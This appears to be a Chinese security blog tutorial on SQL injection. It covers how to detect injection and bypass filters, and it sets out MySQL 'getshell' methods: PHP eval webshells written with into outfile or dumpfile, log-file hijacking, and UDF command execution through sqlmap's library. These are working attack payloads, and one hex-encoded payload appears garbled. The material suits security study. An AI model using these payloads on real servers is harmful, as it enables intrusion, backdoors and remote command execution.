浅谈SQL database的各种技巧(一)

admin 2023年3月12日20:40:53浅谈SQL database的各种技巧(一)已关闭评论75 views字数 5505阅读18分21秒阅读模式

基础

什么是Sql注入漏洞

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

Sql注入漏洞的危害

  • 猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
  • 绕过认证,列如绕过验证登录网站后台。
  • 注入可以借助数据库的存储过程进行提权等操作

各种数据库

关系型数据库

Mysql

首当其冲我们接触最多的就是Mysql数据库了,不管是打CTF过程中还是实战过程中

它是以“客户/服务器”模式实现的,是一个多用户、多线程的小型数据库服务器。而且MySQL是开源数据的,任何人都可以获得该数据库的源代码并修正MySQL的缺陷。MySQL具有跨平台的特性,它不仅可以在Windows平台上使用,还可以在UNIX、Linux和MacOS等平台上使用。相对其他数据库而言,MySQL的使用更加方便、快捷,而且MySQL是免费的,运营成本低

SqlServer

SQLServer是由微软公司开发的一种关系型据库管理系统,它已广泛用于电子商务、银行、保险、电力等行业。SQLServer提供了对XML和Internet标准的支持,具有强大的、灵活的、基于Web的应用程序管理功能。而且界面友好、易于操作,深受广大用户的喜爱

Oracle

Oracle数据库管理系统是由甲骨文(Oracle)公司开发的,在数据库领域一直处于领先地位。目前,Oracle数据库覆盖了大、中、小型计算机等几十种计算机型,成为世界上使用最广泛的关系型数据管理系统(由二维表及其之间的关系组成的一个数据库)之一

DB2

DB2是IBM一种分布式数据库解决方案。说简单点:DB2就是IBM开发的一种大型关系型数据库平台。它支持多用户或应用程序在同一条SQL 语句中查询不同database甚至不同DBMS中的数据。DB2数据库有如下一些版本:(比如DB2 for Unix,DB2 for Windows,DB2 for AS/400,DB2 for OS/390等

PostgreSQL

PostgreSQL 是一款富有特色的自由数据库管理系统,甚至可以说是最强大的自由软件数据库管理系统。该数据库管理系统支持了目前世界上最丰富的数据类型。是自由软件数据库管理系统中唯一支持事务、子查询、多版本并行控制系统、数据完整性检查等特性的自由软件

Access

Microsoft Access是Microsoft的数据库管理系统 (DBMS),它将关系型Microsoft Jet数据库引擎与图形用户界面和软件开发工具结合在一起

Sqlite

SQLite,是一款轻型的数据库,是遵守ACID的关系型数据库管理系统

非关系型数据库

MongoDB

MongoDB是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。它支持的数据结构非常松散,是类似json的bson格式,因此可以存储比较复杂的数据类型。Mongo最大的特点是它支持的查询语言非常强大,其语法有点类似于面向对象的查询语言,几乎可以实现类似关系数据库单表查询的绝大部分功能,而且还支持对数据建立索引

Redis

redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)

未完...

正式注入姿势

既然不同的数据库有着不同的语法,那我们就分开认识不同数据的注入方式,进行针对性的总结

共性

注入位置的判断

通常可能存在的位置在于

  1. GET传参
  2. POST传参
  3. HTTP头(Cookie, XFF, Host等等)

判断是否存在注入漏洞的常用手段都是通过添加' 或者"对服务器的回显进行判断

数字型注入

这里可以进行浮点数绕过(如果有限制)

类似于存在sql语句

select * from user where id = $_GET['id'];

判断方式

  1. 首先在GET传参中id传入1', sql语句就成了

select * from user where id = 1';

语句错误,将会报错
2. 之后传入1 and 1 = 1, sql语句成了

select * from user where id = 1 and 1 = 1;

两边都是正确的,将会返回正确的页面
3. 之后我们再次传入1 and 1 = 2, sql语句成了

select * from user where id = 1 and 1 = 2;

因为后面是错误的加上使用了and逻辑词,将会报错

如何满足以上的方式就可以判断是存在数字型注入的

字符型注入

类似于后端sql语句为(当然同样可以使用双引号包裹传入的值,那么后面就需要使用双引号处理)

select * from user where username = '$_GET['username']';

判断方式

  1. 首先在GET传参中username传入admin', sql语句就成了

select * from user where username = 'admin'';

存在了三个单引号,数据库不能处理,将会报错
2. 之后传入admin' and 1 = 1, sql语句成了

select * from user where username = 'admin' and 1 = 1'

同样不能识别,我们需要使用注释符使得后面的单引号失效

select * from user where username = 'admin' and 1 = 1#';

这样前后都正确,将会返回正确的页面
3. 同样我们可以传入admin' and '1' = '1, sql语句成了

select * from user where username = 'admin' and '1' = '1';

同样可以返回正确的页面,这里主要是使用的单引号进行处理
4. 如果传入admin' and 1 = 2#
因为后面错误将会报错

满足以上方式我们就可以确定是单引号闭合的字符型注入

搜索型注入
  1. 搜索 ',如果出错,大概率具有,之后再搜索%,正确,更大概率具有
  2. 其余特殊字符& [ ] % @ \$
  3. 首先使用222%'and 1=1 and '%'=', 之后搜索 222%' and 1=2 and '%'=', 比较差异

Bypass

如果存在防注入手法怎么办,我们同样可以采用其他方式判断

  1. 使用or逻辑判断
    在后面添加or 2>1``or 2\<1 会发现显示的页面不一样,就存在注入
    当or后面为true时,返回后面的结果,如果or后面的值为false时,返回前面的结果
  2. 使用xor逻辑判断
    和or使用差不多
  3. 使用url编码绕过
    and 1=1 => %41%4E%44%20%%31%3D%31
  4. 使用-0 -1进行对比观察

Mysql

基础

```
show databases; //显示数据库
use dbname; //使用dbname数据库
show tables; //显示表名
select * from table_name; //查询数据
version() //数据库版本
database() //数据库名
user() //数据库用户
@@version_compile_os //操作系统
@@datadir //数据库路径
group_concat() concat_ws()
ascii() length() substr() substring()

```

  1. 在Mysql 5.0以上版本中,存在一个自带数据库名为information_schema它是一个存储记录有所有数据库名、表名、列名的数据库,也相当于可以通过查询它来获取指定数据库下面的表名或列名信息
    information_schema:MySQL默认表,记录所有信息,包括库、表、列
    information_schema.tables:记录所有表名信息的表
    information_schema.columns:记录所有列名信息的表
    information_schema.schemata:记录所有数据库名信息的表
    table_name:表名
    column_name:列名
    table_schema:数据库名

getshell

use into outfile or dumpfile
区别

outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径,但是值的部分可以时16进制

*在使用outfile时,文件中一行的末尾会自动换行,且可以导出全部数据,同时如果文本中存在\n等字符,会自动转义成\n,也就是会多加一个*

outfile函数可以导出多行,而dumpfile只能导出一行数据;outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

而使用dumpfile时,一行的末尾不会换行且只能导出部分数据(这里比较数据比较少,没有体现出来);但dumpfile不会自动对文件内容进行转义,而是原意写入(这就是为什么我们平时UDF提权时使用dumpfile来写入的原因)

联合查询写shell

这里使用sql-labs-Less-7为例子

按照流程走着,输入单引号,报错,存在注入点

寻找闭合语句,尝试到?id=1'))--+返回正确页面

猜测后端的查询sql语句为

select * from user where id = (('$_GET['id']'));

之后通过order by语句得到字段数为 3

因为只有正确和错误两个页面,我们尝试使用into outfile写入webshell

假设我们知道了web站点的web服务绝对路径为/var/www/html/,直接在其下写入shell

一句话木马:\<?php @eval(\$_POST['cmd']) ?>, 将其进行十六进制转码

php -r "echo bin2hex("<?php @eval($_POST['cmd']) ?>");"
//0x3c3f70687020406576616c285b27636d64275d29203f3e

使用union select写入shell

-1')) union select 1,2,0x3c3f70687020406576616c285b27636d64275d29203f3e into outfile '/var/www/html/outfile.php'--+
-1')) union select 1,2,'<?php @eval($_POST[1])?>' into dumpfile '/var/www/html/outfile.php'--+

条件

当然不是想写就写的啦,还是需要条件的

  1. secure_file_priv的值没有具体值,或者是我们希望写的目录,如果是NULL就不行
  2. 当然需要具有写的权限啊
  3. 知道对方网站绝对路径
堆叠注入写shell

直接通过堆叠注入设置日志的存放位置,之后将会在日志文件中出现恶意payload,

  1. set global general_log = "ON";
  2. set global general_log_file='/var/www/html/log.php';
  3. select '\<?php eval(\$_POST[cmd]);?>';
  4. getshell

在总结getshell方式的时候,突然发现了还有慢日志getshell的方式,记录一下

一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中

  1. 查看服务器默认时间值 show global variables like '%long_query_time%'
  2. 打开慢日志服务 set global slow_query_log=on
  3. 设置慢日志路径 set golbal show_query_log_file='/var/www/html/shell.php'
  4. select '\<?php @eval(\$_POST[1]);?>' or sleep(20)
sqlmap's os-shell

原理解释

大概贴一下

1、连接Mysql数据库并且获取数据库版本。
2、检测是否为数据库dba。
3、检测sys_execsys_eval2个函数是否已经被创建了。
4、上传dll文件到对应目录。
5、用户退出时默认删除创建的sys_execsys_eval2个函数

UDF getshell

自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用

条件
  1. secure_file_priv为空或者在plugin目录上
  2. 具有对应得文件操作权限
利用
  • 获取exp.so文件

使用sqlmap内置的文件/data/udf/mysql/文件夹下

sqlmap中的udf文件为防止误杀默认是经过异或编码的,需先使用sqlmap自带的脚本解码

python extra/cloak/cloak.py -d -i data/udf/mysql/linux/64/lib_mysqludf_sys.so_

之后得到了对应的so文件

  • 获取对应的hex值
    php -r "$data=file_get_contents('lib_mysqludf_sys.so');echo bin2hex($data);"
  • dumpfile写入.so文件
    select 0x7F.. into dumpfile '/usr/lib64/mysql/plugn/exp.so';
  • 创建自定义函数
    create function sys_eval returns string soname 'exp.so';
  • 执行命令
    sys_eval('id');

总结

这里为这个系列总结开了一个小头,并总结了一下有关于Mysql getshell一些常见的方法,后文将会接着这个思路扩展到各个数据库的利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月12日20:40:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅谈SQL database的各种技巧(一)https://cn-sec.com/archives/1599482.html